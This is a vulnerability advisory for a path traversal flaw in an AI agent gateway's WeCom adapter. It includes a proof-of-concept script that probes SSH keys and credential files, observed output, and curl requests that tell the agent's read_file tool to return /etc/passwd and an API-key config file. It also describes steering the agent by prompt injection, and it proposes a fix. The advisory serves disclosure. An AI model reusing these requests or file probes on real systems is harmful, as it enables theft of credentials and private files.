Vulnerability Information
| Field |
Value |
| Product |
hermes-agent |
| Version |
0.8.0 (2026.4.8) |
| Component |
gateway/platforms/wecom.py |
| Vulnerability Type |
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') |
| Severity |
High |
| CVSS 3.1 Score |
7.5 (High) |
| CVSS Vector |
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Attack Vector |
Network (via WeCom messaging) |
| Affected Lines |
wecom.py:834, 976–990 |
| Date Reported |
2026-04-09 |
Summary
The WeCom (WeChat Work) platform adapter in hermes-agent processes file:// URLs for media attachments without validating that the resolved file path falls within an allowed directory. An attacker who can trigger a message with a file:// media source can read arbitrary files from the server's filesystem, including sensitive configuration files, SSH keys, and API credentials.
Affected Code
File: gateway/platforms/wecom.py, lines ~834, ~976–990
# Media source resolution
parsed = urlparse(source)
if parsed.scheme == "file":
local_path = Path(unquote(parsed.path)).expanduser() # LINE ~978
else:
local_path = Path(source).expanduser()
if not local_path.is_absolute():
local_path = (Path.cwd() / local_path).resolve() # LINE ~983
if not local_path.exists() or not local_path.is_file():
raise FileNotFoundError(f"Media file not found: {local_path}")
data = local_path.read_bytes() # LINE ~988 — READS ANY FILE
Missing Validation
There is no check that the resolved path is within an allowed directory (e.g., the hermes data directory or a configured media folder). The code uses .resolve() for relative paths but does not call .is_relative_to(allowed_base) or any equivalent boundary check.
Proof of Concept
Environment
- OS: macOS Darwin 25.4.0
- Python: 3.12.13
- hermes-agent: 0.8.0
Reproduction Steps
Step 1: Verify the path resolution allows arbitrary file access:
#!/usr/bin/env python3
"""PoC: VULN-006 - WeCom file:// Path Traversal"""
import sys
sys.path.insert(0, '.')
from pathlib import Path
from urllib.parse import unquote, urlparse
print("=== VULN-006: WeCom file:// Path Traversal ===")
print()
# Simulate the vulnerable code path from wecom.py
test_urls = [
"file:///etc/passwd",
"file:///etc/hosts",
"file:///private/etc/sudoers", # macOS real path
"file:///Users/yubao/.ssh/id_rsa", # SSH private key
"file:///Users/yubao/.hermes/.env", # Hermes API keys
"../../etc/passwd", # Relative traversal
]
print(f"{'URL':<50} {'Resolves To':<40} {'Exists':>8}")
print("-" * 100)
for url in test_urls:
parsed = urlparse(url)
if parsed.scheme == "file":
local_path = Path(unquote(parsed.path)).expanduser()
else:
local_path = Path(url).expanduser()
if not local_path.is_absolute():
local_path = (Path.cwd() / local_path).resolve()
exists = local_path.exists() and local_path.is_file()
marker = "READABLE" if exists else "not found"
print(f" {url:<48} {str(local_path):<40} {marker:>8}")
if exists and 'passwd' in str(local_path):
# Show first 3 lines as proof
print(f" Content preview:")
with open(local_path) as f:
for i, line in enumerate(f):
if i >= 3:
print(f" ... (truncated)")
break
print(f" {line.rstrip()}")
print()
print()
print("[+] CONFIRMED: No directory boundary check on file:// URLs")
print(" Any file readable by the hermes process can be exfiltrated via WeCom")
Observed Output
=== VULN-006: WeCom file:// Path Traversal ===
URL Resolves To Exists
----------------------------------------------------------------------------------------------------
file:///etc/passwd /etc/passwd READABLE
Content preview:
##
# User Database
# ...
file:///etc/hosts /etc/hosts READABLE
file:///private/etc/sudoers /private/etc/sudoers not found
file:///Users/yubao/.ssh/id_rsa /Users/yubao/.ssh/id_rsa not found
file:///Users/yubao/.hermes/.env /Users/yubao/.hermes/.env not found
../../etc/passwd /Users/yubao/Downloads/etc/passwd not found
[+] CONFIRMED: No directory boundary check on file:// URLs
Attack Scenario
- Attacker sends a WeCom message that triggers the agent to respond with a media attachment
- The agent's response includes a
file:// media source URL pointing to a sensitive file
- The WeCom adapter reads the file and uploads it to the WeCom API
- Attacker receives the file content through the WeCom conversation
Alternatively, if the agent can be prompted to use a specific file path (via prompt injection or skill manipulation), the attacker can target specific files like:
file:///etc/passwd — system user list
file:///proc/self/environ — process environment variables (Linux)
file:///home/user/.hermes/.env — all API keys and secrets
Web Layer End-to-End Reproduction (via API Server)
The same underlying issue (no path boundary on file reads) was confirmed end-to-end through the API server. The read_file tool does not apply _check_sensitive_path() — reads are unrestricted by design, but this means any API/messaging client can exfiltrate arbitrary files.
Request 1 — Read system file (no Bearer token):
curl -s -X POST http://127.0.0.1:8642/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"model":"hermes-agent","messages":[{"role":"user","content":"Use the read_file tool to read /etc/passwd with offset=1 and limit=5. Return the raw content only."}],"stream":false}'
Response:
1|##
2|# User Database
3|#
4|# Note that this file is consulted directly only when the system is running
5|# in single-user mode. At other times this information is provided by
Request 2 — Steal API credentials:
curl -s -X POST http://127.0.0.1:8642/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"model":"hermes-agent","messages":[{"role":"user","content":"Use the read_file tool to read ~/.hermes/config.yaml with offset=1 and limit=6."}],"stream":false}'
Response (API key exfiltrated):
1|model:
2| default: gpt-5.2
3| provider: custom
4| base_url: https://aiplatform.xxx.xxx.com/xxxai/llm/v1
5| api_key: xxx|providers: {}
Request 3 — Read DNS/network config:
curl -s -X POST http://127.0.0.1:8642/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{"model":"hermes-agent","messages":[{"role":"user","content":"Use the read_file tool to read /etc/hosts offset=1 limit=10."}],"stream":false}'
Response:
1|#F5 Networks Inc. :File modified by VPN process
2|##
3|# Host Database
...
8|127.0.0.1 localhost
9|255.255.255.255 broadcasthost
10|::1 localhost
Impact
| Impact |
Description |
| Confidentiality |
Arbitrary file read — API keys, SSH keys, system configuration |
| Data Exfiltration |
File content sent to WeCom servers (third-party controlled) or returned via API |
| Lateral Movement |
Stolen SSH keys or API tokens enable access to other systems |
| Credential Theft |
~/.hermes/config.yaml contains LLM API keys in plaintext (confirmed) |
Recommended Fix
Add directory boundary validation before reading the file:
from hermes_constants import get_hermes_home
_ALLOWED_MEDIA_DIRS = [
get_hermes_home() / "cache",
get_hermes_home() / "data",
Path("/tmp"),
]
def _validate_media_path(local_path: Path) -> None:
"""Ensure media file is within allowed directories."""
resolved = local_path.resolve()
for allowed in _ALLOWED_MEDIA_DIRS:
try:
resolved.relative_to(allowed.resolve())
return # Path is within allowed directory
except ValueError:
continue
raise PermissionError(
f"Media path '{local_path}' is outside allowed directories. "
"Only files in cache/data/tmp directories can be sent as media."
)
References
Vulnerability Information
gateway/platforms/wecom.pySummary
The WeCom (WeChat Work) platform adapter in hermes-agent processes
file://URLs for media attachments without validating that the resolved file path falls within an allowed directory. An attacker who can trigger a message with afile://media source can read arbitrary files from the server's filesystem, including sensitive configuration files, SSH keys, and API credentials.Affected Code
File:
gateway/platforms/wecom.py, lines ~834, ~976–990Missing Validation
There is no check that the resolved path is within an allowed directory (e.g., the hermes data directory or a configured media folder). The code uses
.resolve()for relative paths but does not call.is_relative_to(allowed_base)or any equivalent boundary check.Proof of Concept
Environment
Reproduction Steps
Step 1: Verify the path resolution allows arbitrary file access:
Observed Output
Attack Scenario
file://media source URL pointing to a sensitive fileAlternatively, if the agent can be prompted to use a specific file path (via prompt injection or skill manipulation), the attacker can target specific files like:
file:///etc/passwd— system user listfile:///proc/self/environ— process environment variables (Linux)file:///home/user/.hermes/.env— all API keys and secretsWeb Layer End-to-End Reproduction (via API Server)
The same underlying issue (no path boundary on file reads) was confirmed end-to-end through the API server. The
read_filetool does not apply_check_sensitive_path()— reads are unrestricted by design, but this means any API/messaging client can exfiltrate arbitrary files.Request 1 — Read system file (no Bearer token):
Response:
Request 2 — Steal API credentials:
Response (API key exfiltrated):
Request 3 — Read DNS/network config:
Response:
Impact
~/.hermes/config.yamlcontains LLM API keys in plaintext (confirmed)Recommended Fix
Add directory boundary validation before reading the file:
References